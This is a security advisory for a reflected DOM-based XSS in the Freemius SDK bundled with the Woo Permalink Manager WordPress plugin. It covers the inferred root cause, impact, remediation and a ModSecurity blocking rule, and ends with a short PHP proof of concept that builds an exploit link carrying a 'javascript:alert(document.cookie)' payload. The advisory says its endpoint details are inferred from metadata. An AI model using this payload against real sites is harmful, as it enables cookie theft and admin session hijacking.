Atomic Edge analysis of CVE-2024-13362 (metadata-based): This is a reflected DOM-based cross-site scripting (XSS) vulnerability in the Freemius SDK (version 2.10.1 and below) as used by the WordPress plugin Woo Permalink Manager (slug: woo-permalink-manager, vulnerable version 2.3.11). An unauthenticated attacker can inject arbitrary JavaScript via the ‘url’ parameter, with CVSS 6.1 (Medium).
The root cause is insufficient input sanitization and output escaping on the ‘url’ parameter within the Freemius SDK’s modal or redirect logic. Based on the CWE-79 classification and the description, the vulnerability is likely triggered when the SDK renders a URL passed by the attacker without proper encoding. This is an inferred conclusion, as no source code diff is available.
To exploit this, an attacker crafts a malicious link containing a ‘url’ parameter with an XSS payload like ‘javascript:alert(1)’ or an encoded event handler. The attacker then tricks a logged-in administrator or other user into clicking that link. The vulnerable component (e.g., an admin modal or redirect page) reflects the payload in the DOM, executing the script in the victim’s session context.
For remediation, the Freemius SDK must validate the ‘url’ parameter against an allowed whitelist (e.g., only {plugin_uri} or admin-relative paths) and escape all output with functions like esc_url() or wp_kses() before rendering in the DOM. Since the vulnerable plugin has no patched version available, users should disable or replace the plugin until an update is provided.
If exploited, an attacker can execute arbitrary JavaScript in the context of the victim’s WordPress admin session. This could lead to session hijacking, phishing (e.g., fake update prompts), or unauthorized administrative actions (e.g., adding rogue users). The attack does not require authentication, but does require user interaction (clicking the malicious link).
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2024-13362 (metadata-based)
# Blocks reflected XSS via url parameter in Freemius SDK AJAX handler
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,
msg:'CVE-2024-13362 Reflected XSS via url parameter (Freemius SDK)',
severity:'CRITICAL',
tag:'CVE-2024-13362',
tag:'wordpress',
tag:'xss'"
SecRule ARGS_GET:action "@streq freemius_check_url" "chain"
SecRule ARGS_GET:url "@rx (?:javascript|vbscript|data):" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter
/**
* This PoC demonstrates a reflected XSS attack via the 'url' parameter
* in the Freemius SDK (used by Woo Permalink Manager).
* It constructs a malicious link and outputs it for testing.
* Assumes the vulnerable component is accessible via admin-ajax.php
* or a direct Freemius endpoint hooking into the admin area.
*/
// Configuration
$target_url = 'http://example.com'; // Change to the target WordPress site URL
$action = 'freemius_check_url'; // Inferred AJAX action (common Freemius pattern)
$xss_payload = 'javascript:alert(document.cookie)'; // XSS payload
// Build the malicious URL with the XSS payload in the 'url' parameter
$malicious_url = sprintf(
'%s/wp-admin/admin-ajax.php?action=%s&url=%s',
rtrim($target_url, '/'),
urlencode($action),
urlencode($xss_payload)
);
echo "[+] XSS Exploit URL (click link if authenticated):n";
echo $malicious_url . "nn";
// Optional: Send the crafted request to verify the reflection (requires admin session)
// Uncomment below to test (note: this may trigger stored XSS or non-reflected output)
// $ch = curl_init();
// curl_setopt($ch, CURLOPT_URL, $malicious_url);
// curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// curl_setopt($ch, CURLOPT_COOKIE, session_name() . '=' . session_id()); // Provide a valid admin session cookie
// $response = curl_exec($ch);
// curl_close($ch);
// echo "[+] Response content (check for payload reflection):n" . substr($response, 0, 2000) . "n";
